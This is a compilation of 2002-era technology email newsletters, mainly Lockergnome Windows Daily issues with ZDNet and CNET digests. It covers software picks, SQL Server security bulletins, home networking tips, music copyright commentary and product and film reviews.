marketing boon. But if they DON'T do that, someone at some point could start using the word on their own product, arguing that it is in the public domain. The efforts of the music industry are not aimed at actually stopping the exchange of music between individuals - which they know from long experience, increases their sales because most of the people who normally buy the music aren't really satisfied with near-perfect copies. For most of them, the learning curve and the cost in time of creating those copies themselves outweighs the cost of simply buying the CD. Most of the outright piracy is committed by people who wouldn't have bought the music in the first place. What the music industry is doing is clearly aimed at establishing a public record of their efforts to defend copyright, in the broadest, most public way; to prevent anyone from making a legal claim that the stuff they own has entered the public domain. The thing they're really worried about, in terms of profits, is the change in the marketing model. Even legitimate online music commerce threatens the album format, with its traditional mix of a few good songs and a bunch of others most people wouldn't pay for if they were buying the stuff song by song. The problem is how to make as much money on a per-song basis - and, at the moment, it requires charging far more for an individual song that most people are willing to pay. At any rate, copyright is actually a fairly complex matter of civil law, with a good deal of history behind it - dating back to the Renaissance. The strategies music companies use are clearly directed to realities and necessities, in light of history and case law. They have also done a great PR job, convincing the most technically knowledgeable people on the Internet that it is a simple moral or criminal issue. ""Common sense"" tells a lot of people that copying music without paying for it is just like stealing someone's car, and represents a loss to the owner. But if common sense could decide the issue equitably, we wouldn't have the law in the first place. Most of our great intellectual systems, including not only law but science, are designed in large part to overcome the errors of common sense, and that is more the case in civil law than criminal. The people who work within those systems are well aware of that, but they are also well aware that most people aren't - and that it can work to their advantage. Any time a highly paid civil attorney begins by telling you that an issue vital to his client is actually very simple, or just a matter of common sense, there's a very high probability that what he means is that it's to his clients advantage if people like you believe that. If it really WERE that simple, the client wouldn't be paying him as much as he is. Submit Your Thoughts | Recommend It! **A BOOK FOR EVERY GEEK:** Want to know more about networking? Have you ever wanted to write an e-book? Maybe you need to polish your Web design skills? Get full-length books from the Poor Richard's series, including **Poor Richard's E-mail Publishing** , by Chris Pirillo, at GnomeTomes.com, for 50% off the suggested retail price of the print versions. Click here to learn more. --- GnomeFAVORITE --- **My Virtual Model** http://www.myvirtualmodel.com/ {Make a model of you} Wouldn't it be cool if you could physically walk into cyberspace? Well, you can't... so stop thinking about it. However, you can design a virtual model of yourself on this site. Choose your features like body shape, eyes, nose, lips, facial hair, height, and weight. The amazing thing is how closely your model resembles you. My only complaint is that you can't add glasses. How in the heck is my digital doppelganger supposed to see? Once you're finished, the site can even offer style advice for your body type. (I'll stick with plaid, thank you very much.) Recommend It! GnomeTIP --- | | **Our Tip eBooks** --- Microsoft Office Tips PC Productivity Tips Cool Internet Tips Windows 2000 Tips Windows XP Tips Top 50 Fun Sites Must-Know Terms Top 50 Useful Sites Top 75 Tech Sites Who has no trouble with controling his codes? Lockergnomie Wayne Smith: ""Here is a bit of information specifically for Hotmail users who may have trouble opening your links, due to the service wanting to place the referred URL in a separate frame. I receive my Lockergnome newsletters via Hotmail and find it really useful when you folks include the link as text. However, sometimes this isn't practical - or it stops the flow of the article. The trouble here is that the link sometimes returns the message: 'There was an error displaying this link' in the frame. No problem! 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Keep the bad guys out of your PC or network with the advanced technology that's trusted by millions: ZoneAlarm Pro 3.0. This best-in-class personal firewall stops hackers cold, defends your online privacy,and sets up in minutes. Click here to download now! --- As if there weren't enough hypocrisy and misinformation being spewed by marketing and sales departments. This time, a startling revelation that Microsoft refuses to use their own ISA Server to protect themselves from the very things the product is meant to stop - worms and intrusion. Nimda was turned loose within Microsoft and they've chosen NetScreen's 500 series security appliance to cure what ills them. I find this staggeringly hilarious, to say the least. The move is tantamount to Intel deploying desktops based on AMD processors! Ok, so a hardware solution might be better than a software defense in many cases. I suppose we can't entirely blame Microsoft for opting to go that route. Probably a wise decision, in fact - admit defeat and move on. However, why is Nimda spreading within the corporate walls to the point that they felt the needed to make such a leap in the first place? After all, patches were released months ago, so IIS is impervious to attack now. Still considering the deployment of IIS as your web server platform of choice? Things that make you go hmmmm... See You in August, Randy Nieland GnomeNETWORK --- **SQL Server Install Leaves Passwords Behind** http://www.microsoft.com/technet/security/bulletin/MS02-035.asp During the installation of SQL Server 7.0 or 2000, various bits of configuration information are stored in a setup.iss file, including account passwords that have been captured in order to configure the services. Prior to certain service packs, these passwords are stored as clear text, which is problematic because the file is left on the hard drive after the installation process is completed. Peruse the details of the bulletin to be sure you've cleaned up any relevant bits and pieces applicable to your environment. **SQL Server Cumulative Patch** http://www.microsoft.com/technet/security/bulletin/MS02-034.asp A new roll-up patch is available for SQL Server that takes care of all previous security issues, plus a trio of new items. Two buffer overrun vulnerabilities exist that could allow an attacker to gain control over the server, and a different privilege elevation flaw can be exploited due to improper permissions within the registry. All three are spackled over by the latest cumulative patch described further in this bulletin. GnomeSYSTEM --- **Win2K Memory Allocation Adjustments** Unearthed by Wayne Clark http://searchwin2000.techtarget.com/tip/0,289483,sid1_gci835208,00.html Most Windows 2000 servers tune themselves fairly well and do not need further tweaking. In those cases, it's best to just leave things alone unless you specifically identify a problem somewhere. Serdar Yegulalp has an excellent explanation of one particular situation where memory pools can be exhausted and crash the server. Before you go diving into the registry to play with the knobs and buttons, be certain you know what you're messing with or you could just make things worse. Backups, backups, backups. GnomeALERTZ --- **Today's Top 5 kbAlertz** * Q325582 - FIX: Output Data Overwritten When Input Data Is Larger than Destination Field (Q325582) * Q305356 - Windows XP Prompts You to Re-activate After You Restore Your Computer (Q305356) * Q304622 - CAPS LOCK Key Behavior with 16-Bit VDM Is Incorrect for French MultiLanguage Versions of Windows (Q304622) * Q235063 - Error C00D0035 Using Windows Media Player (Q235063) * Q277843 - FIX: Restore of Log in Standby Mode May Cause 9004 Error Message if the Original Database has Shrink Enabled (Q277843) **GET WINDOWS XP TIPS:** Months after the release of Windows XP Professional and Home editions, people are still learning the nuances of Microsoft's newest operating system. Whether you've been using it for a while or are planning to upgrade to the new OS soon, this ebook is right up your alley. GET YOUR COPY of Lockergnome's Top 50 Windows XP tips now! --- Recommend It! GnomeASSISTANT --- **Sorting IP Addresses Via Script** http://www.i386.com/Default.asp?page=docs/scripting- ip2long.htm&category;=admin&id;=1046 Documentation is everything. If you have a handle on your network configuration, it's much easier to manage. IP addresses are one bit of information that must be properly tracked, but often it's a manual effort to enter and sort data. Using the script techniques provided in this brief article, you can convert an address to a 32-bit number, perform the sort, then convert back to the standard dotted decimal format. An Excel sample spreadsheet is also provided to get you started. GnomeSTUFF --- **Broadband Sharing Crackdown** http://news.com.com/2100-1033-942323.html Those of us with wireless networking equipment might be tempted to allow the neighbors to share the wealth, but be careful. Broadband companies are catching on and putting a stop to the practice. What's concerning to me is that I don't share my wireless network, but I do use quite a few different machines at any given time. If someone is snooping around and seeing a lot of different sessions and gets curious, might I be subject to a teeth-kicking? **Virtual Sketching** Discovered by Diana http://members.bellatlantic.net/~vze2mfh8/ I believe I still have an old Etch-A-Sketch in a box somewhere. Maybe I should dig it back out and webify the thing just for grins. Check out this example of novelty web programming, assuming y'all don't kill the site. If it's down, check back later. Using a web form, you can enter the moves you'd like to see represented on the pad, which is viewed through a live webcam. I'd love to see someone craft the Lockergnome logo. Impress me... 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ISSN: 1095-3965. All Rights Reserved. Please read our Terms of Service. Our Web site is hosted by DigitalDaze. Domain registered at DNS Central. ",0,1 Lockergnome Windows Daily ,qqqqqqqqqq-lg@example.com,"Sun, 14 Jul 2002 23:45:17 -0500",[Lockergnome Windows Daily] Deeper Uplink,"![Lockergnome](http://images.lockergnome.com/images/gnomedaily.gif) ![10354](http://www.winnetmag.com/linkshare/banners/10354.gif)![](http://ad.linksynergy.com/fs- bin/show?id=vdKWfulJxTQ&bids=36698.10000263&type=4&subid=0) --- | 07.15.2002 GnomeREPORT --- ![TechTV's Computer Basics](http://www.lockergnome.com/lgstore/sunshop/images/productpics/computerbasics.jpg) **CHRIS TEACHES THE BASICS:** If you've got friends or family who want to learn more about their PC, from a guy who makes things nice and easy, check out the VHS release of Computer Basics in the GnomeStore. Chris teams with TechTV cohort, Kate Botello, to lead novices on a journey through their computer. From basic interactions, to installing apps, to using the Internet and e-mail, Chris and Kate have all the basics covered. Help out a friend and get them a copy today. --- It's official: Gretchen, Sprocket, and I will be moving in a few weeks. Not too far, though. We'll be going deeper into the city of San Francisco starting on the first of September. Lori and Norm were here over the weekend (for a photo shoot); in between sets, Gretchen invited them to join her hunt. They came upon a house located in one of the busier parts of town. With only street parking available, I wasn't too thrilled about investigating the property. However, my wife seemed optimistic. We kinda knew what we were looking for in a residence (and its neighborhood), but also knew we'd have to make certain concessions in the process. We parked (literally) up the hill and found our way to what would turn out to be our future home (at least, for the next year or so). It has lots of usable space - which is a premium here. Plus, the landlords are extremely dog-friendly. Winner! The pictures and videos will come, never fear. | | **PC World Picks** --- WinZip v8.1 IrfanView v3.70 ACDSee v4.0.2 Microangelo v5.5 SmartDraw Winamp v2.80 Paint Shop Pro Cool Edit 2000 UltraEdit v9.00a Backup Plus v6.1.1 TextPad v4.5 Mailbag Asst v2.6c Time and Chaos v5.4.0 SureThing Labeler WinRAR v3.00 Blaze Media Pro First order of business: get broadband! According to AT&T;'s Web site, cable modem service is not available in the area. However, DSL is an option. So, it looks like I'm going to be purchasing an external DSL modem in a few days. Any suggestions? Yeah, I'm not even sure who I'll select for my provider. They currently use SBC to get online, so I might just stick with them for continuity's sake. Verizon has been solid enough for me here, but I believe our loft complex has a unique infrastructure. If I could make contact with someone from any capable system, I'd probably go with them. I should probably get the ball rolling soon, though - I'd hate to play the waiting game for too long. I've heard of installation nightmares, so I'll probably be rolling my own (again). 56k is quaint, but hardly enough pipe to get any real work done. When you download as much as I do, every bit counts. Oh, and did I tell you about the bites? There are plenty of unique restaurants in just about every direction. Plus, we're right up around the corner from a Peet's outlet! If you need me, you know where you can find me. I'll probably also be setting up a Wi-Fi network before too long, too. My Proxim hardware still works, but I wasn't sure if I needed a crossover cable to connect it to my router. Furo tells me: ""If the hub has an uplink port, then a straight cable should work between the two, as it provides the crossover for you. If both have uplink and non-uplink ports (workstation attachment ports), then you would need a crossover cable between like ports. For instance, if you were connecting a workstation port on one to a workstation port on another, you'd have to use a crossover. Same for uplink to uplink."" How's that for home network helpfulness? Oh, if only he'd do a free Gnometome for us... See You in August, Chris Pirillo GnomeDOWNLOADS --- **Traces Viewer v1.0 [478k] W9x/2k/XP FREE** http://www.surfpilot.net/tracesviewer.html {Find Web site remnants} Who knows what evils lurk on the hard drives of mine? I'm always curious about what has been downloaded to my PC after I have visited a website. I suppose I COULD clear out my Temporary Internet Files before going to every single page... or I could just install Traces Viewer. This handy application gives me the power to see what my PC acquires for every website I visit. With Traces Viewer's easy-to-read interface, I can see what files come from each site, and also if the site contained any cookies. Mmmmmm, cookies... now, how could chocolate chip be evil? **Pixel Toolbox v1.1 [3.7M] W9x/2k/XP FREE** http://www.axiomx.com/PixelToolbox/ {Make your own icons} I have a compulsive habit of changing the original desktop and icons in Windows to a version that mirrors my personality. So what happens if I can't find a desktop or set of icons that suits me? I load up Pixel Toolbox! This program allows me to flex my creative skills by creating Windows icons and pointers. Find yourself in a creativity slump? Well, you don't have to strain your creative muscle. PixelToolbox allows you to import an image that you already own, and work from there. If that isn't enough, you can fashion your own tiled desktop or share your creation with friends by exporting your masterpiece as a .jpg, .png, .tga, or .tif file. Recommend It! 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OF COURSE YOU DON'T! (Good answer.) So, if someone came to your door and accused you of software piracy, could you prove them wrong? With the Software Audit Protection Program (SAPP), you could. You can track every piece of software you own with this application; you can attach an image of your paper receipt, add information like serial numbers and activation keys, etc., so you will never be left hunting for these items in the future. SAPP can even create and print reports detailing your inventory. If you own a small company and want to make confirm that you and your employees are ""Software Compliant,"" this is the program for you. You can track your software using many different variables such as License, User ID, Software Title or Activation Key. Don't get caught second-guessing... be certain with the Software Audit Protection Program! Recommend It! GnomeWILDCARD --- **Print! v1.6 [319k] W9x/2k/XP US$39** Unearthed by Rob Muller http://www.robsoftware.com/ {Screen print utility} Time is money, and I endorse any program that can save me time. Luckily, that is exactly what Print! v1.6 does. Say that I want to share screenshots with my other tech friends to compare error messages and talk about possible fixes: every time I take a screen shot, I open up Word, paste the snapshot, and THEN I can print it. Too many steps, too much of my time! With Print!, I just hit my ""Print Screen"" key and out comes my screenshot without involving any other programs. Don't want a screenshot of your whole desktop? Not a problem, just press Alt + Print Screen and you'll have a printout of the active window only. Print! 1.6 goes so far as to put the date and time on your printout too... perfect for saving those high scores on solitaire! Other features include scaling, centering, and the ability to invert images. (So, not only will you save time, you'll also save on toner. Bonus!) You may also want to note that Print! saves your printer configuration without wreaking havoc on the settings in your other programs. You'll definitely get your money's worth with this program. Don't believe me? Start by checking out the evaluation version for yourself! Submit Your Thoughts | Recommend It! GnomeFAVORITE --- **REMOTE ACCESS TO YOUR E-MAIL** : LoudPC is a new product from Loudfire enabling direct access to your PC's Outlook(tm) from any Internet browser or web phone. Use LoudPC to access your work email from home, check your next appointment while at lunch, reply to an important email while in a meeting, etc. No synchronization required. Works with your existing email accounts. Accesses all of your folders. All changes reflected immediately in your Outlook(tm). Get more info on LoudPC ![](http://www.qksrv.net/image-471546-7064313) --- **BookCrossing Bookclub** http://bookcrossing.com/ Gretchen is a self-professed pack rat: there are just some things that she can't throw away. For example, books. I, on the other hand, prefer my text in an electronic medium, and don't really miss those analog versions. (What's that stuff called again? Paper?) Many of my books are gathering dust on the bookshelf. The alternative? Free them into the wild! BookCrossing is essentially a worldwide book club. You register online and get a BookCrossing ID number to put on your books with a note sending the new reader back to BookCrossing (think of wheresgeorge.com). Then you just leave the book ""in the wild"" to be found by someone else; the folks at BookCrossing suggest a park bench, the pocket of an airplane seat, or just plain giving your book to a friend. ""Sounds easy, right? Well it is. It's also a fascinating exercise in fate, karma, or whatever you want to call the chain of events that can occur between two or more lives and one piece of literature. Oh, and we should mention, it's absolutely free and absolutely private, too."" BookCrossing also offers book reviews, ratings, and recommendations. Recommend It! GnomeTIP --- Any modem that relies on Windows to function is dubbed a ""Winmodem."" Most manufacturers use ""Winmodems"" because they are cheap and easy to set up on a standard model PC. I don't have any problem with the manufacturer saving money (because living in a capitalistic society, I would hope that the savings would trickle down to ME in one way or another). I do, however, have a problem with the way ""Winmodems"" function after you add more internal devices to your PC. ""Winmodems"" rely on Windows to mediate their serial communication (I/O address, COM port, IRQ, etc.) and as you can imagine, the more devices Windows has to manage, the higher the probability of running into a problem. And what if you want to run Linux instead? Will the ""Winmodem"" function well, if at all, in an operating system other than Windows? Don't bet on it! If you want to make sure you don't have any problems after upgrading your system, you'll want to get yourself a hardware modem. How can you determine this? Checking a modem's system requirements. If the modem says it REQUIRES Windows, then keep looking... you've found yourself a ""Winmodem."" However, if the system requirements for the modem say that it will work with Linux, then you've found yourself a hardware modem. Yes, it IS that easy. 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He's being sworn in today. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read my interview with Darwin John** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) **Latest from ZDNet News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Yopy brings Linux to wider audience ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Activists to ISPs: Don't be a stoolpigeon ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) New Athlon to launch in stormy seas ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Wireless companies ripe for consolidation ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) W3C boosts Web services language ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Cisco hooks up airport 'hot spots' ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Palm, Handspring win patent spat ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **More Enterprise News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dots249.gif) ![](http://www.zdnet.com/b.gif) **David's Picks** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dberlind.gif) Dan Farber ![](http://www.zdnet.com/techupdate/i/dots75.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **IT sees new profits in Old Glory** Can CRM be tweaked to track terrorists? As the fight against **terrorism** heats up, the government turns to the tech industry to come up with tools to secure the country against attack. It's an opportunity for patriotism--and for profits. (Nearly $38 billion is slated for homeland security.) **Software companies** are sending tens of thousands of proposals to government agencies, some of which are so new they don't have the budget to hire people to evaluate them all. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read more the ZDNet News Focus** **Are Spam blocklists going too far?** Many businesses are turning to spam-filtering tools to regain control of their e-mail boxes. But legitimate e-mails are being deleted, too, now that **sometimes-indiscriminate blacklists** have become a key weapon in the war against unsolicited bulk e-mail. Companies subscribe to the lists, bouncing any traffic directed to their servers that originates from those addresses. Is **overkill** the answer to stopping spam? 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But Gartner adds note of caution concerning **Sun's credibility**. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** **'My favorite PDA is the Nokia 9290'** Tired of carrying around both PDA and phone, reader **John Maravilla** says he spent a year ""looking for a decent integrated PDA/phone"" before finding the Nokia 9290. Then he read my "" **What to look for in your next PDA/phone**"" and wrote to reassure me that I'm _not_ crazy for liking a PDA resembling a cell phone from the Reagan era. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read his full letter** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **""What to look for in your next PDA/phone""** **A hulk of a system** How much does a cutting-edge PC cost these days? Plenty--but **Sys Performance 2533** delivers a lot in return. It's packed to the rafters with high-end components, and boasts the **highest office-productivity score** ZDNet reviewers have seen. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full review** ![](http://www.zdnet.com/enterprise/graphics/071202sys2533.jpg) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif)Write me at **david.berlind@cnet.com** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif)**Back to top** ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | **Also on Tech Update Today** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) **COMMENTARY** ![](http://www.zdnet.com/b.gif) | **Next MS Office? Here's what to add--and delete** The next version of Microsoft Office is due in the next year or so. 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Here's help in making the choice. ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) ![](http://techupdate.zdnet.com/techupdate/i/arrow_blue.gif)Read reviews ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) | | ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif)Most Popular Products --- ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) | ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **Networking** ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **1**. Linksys EtherFast wireless AP ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **2**. Linksys EtherFast router ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **3**. Siemens SpeedStream router ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **4**. Wireless 802.11B Router ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **5**. 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Join Evan Williams and Doc Searls as they share pearls of wisdom on blogging, Linux and other open source applications that are changing our lives. If that's not enough incentive, remind the boss that THE Internet security guru, Steve Gibson, will be sharing his wisdom as well. Register for Gnomedex today! --- To all you Dream Theater fans out there, please accept my humblest of apologies. I mistakenly announced their break up in the last GnomeAudio section, causing quite a stir among a number of subscribers. In fact, they just released a double album this year and have been touring in support of that release. For today's false alarm, please make note of the tragedy that is the N'SYNC breakup (oh wait, that's just wishful thinking). I know I've already carried on about my Kyocera 6035 phone, but this thing is awesome. I've got all my contacts in one device. Web browsing is good - I'm sure it would be better on a color screen, like the Treo 270, but for what I'll need, this works well. I'm currently looking for an ssh client I can install, so that remote server logins will be possible. My one complaint is the base station's use of a serial connector instead of USB, but I suppose they were cutting costs. I'm also scoping out the Palm Markup Language (PML) standard for marking up Palm Docs, in an effort to make the GnomeTomes a little flashier. I've installed several of the files on my phone and while they are easy to read, have all the content organized, and function as useful tips for the various subjects, I'd like to add some minor tweaks to future tomes, so that they look even better for me and anyone else who reads them on their Palm. Jake Ludington GnomePRODUCER --- **TomeRaider v2.0 [1673k] W98/W2K/Pocket PC/Palm $25** http://www.tomeraider.com/ Of the formats Lockergnome uses for our GnomeTomes, TomeRaider is by far my favorite. Designed with a feel similar to CHM, the TR format is quite easy to read, as it places section titles in a pane separate from content, allowing you, the reader, to navigate through our tips (or anything else) with much greater ease than the linear format the other versions present. The Windows version of the software is truly designed with ease of use in mind. Creating ebooks for TomeRaider is a simple matter of combining a modified set of HTML tags with the designation for page breaks. The only trick for Yankees like me is remembering that center is tagged centre in the software. GnomeFEATURE --- **The Herd of Star Wars Nerds** http://www.ifilm.com/ifilm/product/film_info/0,3699,2439321,00.html?cch=11 Triumph the dog is low-tech, he's not cute like the pets.com sock puppet, but he manages to maintain a twisted appeal to fans of lowbrow comedy. In this segment, Triumph makes a mockery of geeks standing in line for Episode II. Whether you've been one of those geeks yourself, or you've never understood why anyone would dress up and wait in line for a movie, you'll still find this film amusing. 10 minutes was more than necessary to get the point across, yet Triumph delivers enough one-liners throughout to keep you watching all the way to the end. GnomeSKIN --- **Kids World forDesktopX** by Frogboy ![](/images/blank.gif) Posted on 7/14/2002 12:35:00 AM -- ![Kids World by Frogboy](http://www.wincustomize.com/library/accounts/Frogboy/dx/tkids2002.jpg) [Download] \-- [Zoom] \-- [Visit WinCustomize] GnomeAUDIO --- **Heleen van den Hombergh** http://www.heleenvandenhombergh.com/ http://artists.mp3s.com/artists/378/heleen_van_den_hombergh.html Classic jazz vocal styling, juxtaposing arrangements of contemporary pieces with arrangements of jazz standards. Combined with some beautiful piano arrangements, Heleen's voice is a thing of beauty. A Netherlands native, who originally dreamed of saving the rainforests (at least according to her biography), her interpretation of American jazz standards and show tunes is more remarkable than most native English speaking vocalists. No world tour is currently scheduled, so you'll probably have to journey to Europe to see her in person, but for those of you living elsewhere in the world, the Internet makes a fabulous venue for experiencing Heleen van den Hombergh's talent. **A BOOK FOR EVERY GEEK:** Want to know more about networking? Have you ever wanted to write an e-book? Maybe you need to polish your Web design skills? Get full-length books from the Poor Richard's series, including **Poor Richard's E-mail Publishing** , by Chris Pirillo, at GnomeTomes.com, for 50% off the suggested retail price of the print versions. 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GnomeDVD --- ![DVD](http://images.lockergnome.com/images/dvd/themanwhowasntthere.jpg) Click for Details --- **The Man Who Wasn't There** (R) 2001 Drama - 116min Reviewer's Tilt (9) ![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif) Special DVD Features worth a look-Thornton and Coen Brothers Commentary Much more film noir, than a movie trying to imitate film noir, The Man Who Wasn't There captures the inevitable hopelessness of the genre. Ed Crane (Billy Bob Thornton) is the archetype everyman. A barber by trade, Crane represents the individual in society. He hears everything, but truly knows nothing. Everything he hears is modified ever so slightly by the retelling. He gets neither the whole story nor the true motivations. Left to guess at the motivations and desires of those around him, Crane develops an indifference to it all. When a snake oil sales man slithers into town, Crane takes this opportunity to cheat the cheaters and punish the punishers. As indifferent as Crane appears, he is no match for the amorality of fate. As much as fate is indifferent in its wrath, however, so is it artistic in its execution. That is what makes our lives so entertaining. Fate doles ultimate justice, but never as expected. The Man Who Wasn't There is truly a Kafkaesque tale of an individual's year to turn against the tide of inevitability. Atypical of cuter, more recent Coen brothers fare, this film is reminiscent of their earlier noir works like Blood Simple and Miller's Crossing. Frances McDormand does an outstanding job making as Crane's selfish wife and James Gandolfini exudes boorishness as Doris' boss. The real outstanding performances, however, rest with the supporting cast. Tony Shalhoub, as pompus attorney Freddy Riedenschneider and Jon Polito as the snake oil salesman impress and entertain as cruel, but offbeat parodies of their characters. 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Back in the day (that day being 1999, when the Internet was the Next Big Thing), you could get almost all of your software--e-mail, fax services, online desktops, you name it--for free. Now, even Yahoo is charging for some of its formerly free mail services, including the ability to check your Yahoo mail from Outlook or another desktop e-mail client. But if you look closely enough, you can still find some worthwhile free apps. We've reviewed four free e-mailers to get you started. And we've also taken a peek at the new BearShare, which is not only free itself, but also lets you share music and media files at no cost. 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We've broken down the process and selected the best gear for the job, from camera to software, burner to DVD player. ![Review](http://www.cnet.com/i/nl/sw/sub_rev.gif) ![](http://www.cnet.com/i/nl/rule.gif) **BearShare 4.0** The latest version of this oft-overlooked Gnutella client lets you pay $19.95 for ad-free file sharing and offers a nice, clean interface and a chat client to boot. Plus, BearShare lets you opt out of bundled adware and spyware when you install it. Should you run to this app like a bear to honey? Not yet. We'll tell you why. **Read the review** | **Manufacturer price** **Yahoo Mail** ![Editors' Choice](http://www.cnet.com/Images/Global/ed_choice_13x13.gif) After months of beta testing and pricing adjustments (that's right, Yahoo now charges for some services), the new Yahoo Mail just hit the Web. Among its changes are a complete redesign, better Calendar and Address Book integration, and a new color palette. Find out if Yahoo still deserves your account. **Read the review** ![](http://www.cnet.com/b.gif) **Peachtree Complete Accounting 2003** For years, Peachtree has provided professional accounting to small businesses. As a result, Peachtree Complete 2003 has all the basics, including inventory control, time billing, and payroll management. And Peachtree even contains a wide array of Web tools for creating and maintaining an online store. What's new in 2003? **Read the review** | **Check latest prices** ![](http://www.cnet.com/b.gif) **First Take: ICQ Lite Alpha** One of our biggest beefs with ICQ has always been its bloated feature set. Now, the company has released a new ""lite"" ICQ that sucks up far less system memory than the full-fat version--but at what cost? We take a first look. ![](http://www.cnet.com/b.gif) **SBC Yahoo Dial** Thanks to a partnership with SBC Pacific Bell, Yahoo is now in the dial-up game. The new service, known as SBC Yahoo Dial, offers a customized browser, 25MB of storage, and 11 e-mail addresses--all for $21.95 or lower, depending on your SBC service package. Our reviewer investigates. **Read the review** ![](http://www.cnet.com/b.gif) **First Take: Winamp3 Release Candidate** We've been waiting aeons for the newest version of popular media player Winamp. We haven't received a full new version yet, but AOL has partially obliged with a prerelease version. Winamp3 Release Candidate serves up a new interface and some major underlying changes. But does the new look muddy up Winamp's legendary ease of use? ![Review](http://www.cnet.com/i/nl/sw/sub_col.gif) ![](http://www.cnet.com/i/nl/rule.gif) ![](http://www.cnet.com/b.gif) **Inside @ccess: Is your ISP safe from hackers?** Surely, the folks who run your ISP have thought long and hard about security issues, but should you count on their skills to ward off intruders? Not wise, says our ISP expert. In this week's column, Dan Tynan takes security matters into his own hands and shows you how to protect yourself. **Read the column** ![Also on CNET](http://a.r.tv.com/cnet.1d/i/nl/sw/rhc_also.gif) ![](http://www.cnet.com/i/nl/rule.gif) ![](http://www.cnet.com/b.gif) **CNET Electronics:Cell phone personality test--updated** Choose among our five user profiles to find out what models best match your wireless persona. Take the test and see them all. **Read the full story** ![Software Mailbag](http://a.r.tv.com/cnet.1d/i/nl/sw/rhc_mail.gif) ![](http://www.cnet.com/i/nl/rule.gif) **Import Hotmail addresses to Outlook?** >I'm running Windows 98. Everytime I try to download files >from the Internet, QuickTime tries to upgrade, stopping the >download cold. I tried to remove the software, but it won't >let me. Can you help? I would like to use Windows Media >Player instead. --Wicked Based on your desription, we're guessing that QuickTime pops up when you try to stream a media file (video, audio, or MP3s) from the Web. If so, this probably means that you have QuickTime set as your default media player for all media files. And since your version of QuickTime is out-of-date, whenever it launches, it attmepts to upgrade. You could simply upgrade the program, or you can to turn off the autoupgrade feature. In QuickTime 5.0, open the program, select Edit > Preferences > QuickTime Preferences. Uncheck the box labeled ""Check for updates automatically."" If, however, you simply prefer to use Windows Media Player, open that program, click Tools > Options. Select the Formats tab, then check the boxes next to all of the file types that you want Windows Media Player to open. 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In fact, we've found a way to get your products and services a little bit of unlimited promotion on the side, too. And who couldn't use a little more traffic nowadays? Well, unless your data transfer bill is already sky high (which can happen when you get featured). It's all fun and games until someone's server falls to its knees. We're still sitting at #5 on Amazon. If we ever hit #1, I'll eat my hat. And, mind you, this hat has been sitting around for quite a while; it smells like feet. You'd have to eat three sombreros just to get the same amount of nutrition you'd get from my hat. You're better off just going for the free stuff, I suppose. The next time they ask: ""Do you care to Super Size that?"" You can respond, with dignity: ""My funds are sufficient for the upgrade; I avoided spending money on something that would have lasted longer, supported a helpful cause, and not have killed me earlier."" It makes sense - if you think about it. The fries aren't going to eat themselves. And if YOU don't eat the fries, who will? Put your hunger aside for just a moment. It's time for a paragraph I like to call: ""Why you shouldn't sign up for DirectDSL."" They went out of their way to send me an unsolicited e-mail this evening. Now, I know what you're thinking: ""How kind of them, Chris. You were just asking about DSL providers in yesterday's issue. They must have read your mind!"" No, they must have rented a list of addresses which weren't confirmed. But the fun didn't stop there. I received a message about DirectTV from yet ANOTHER marketing company. Their effort was indeed caught by this crafty eye, and my money will be diverted to other (less-spammish) businesses in the future. It's my ""direct"" way of saying: you're not the only game in town. Anybody else care to test my patience? I didn't think so. My blacklist gets shared with 250,000 people from around the world. Oops! My Inbox just got slammed with more junk; looks like Lycos will never get another click from me, either. See what you get when you tempt fate? My good buddy, Bill, tells me that Speakeasy.net provides great DSL connections. He'll even get the credit if I sign up through his affiliate link! Paul Howes agrees with him, too: ""Static IPs are the norm, they do not use PPPoE, and they encourage 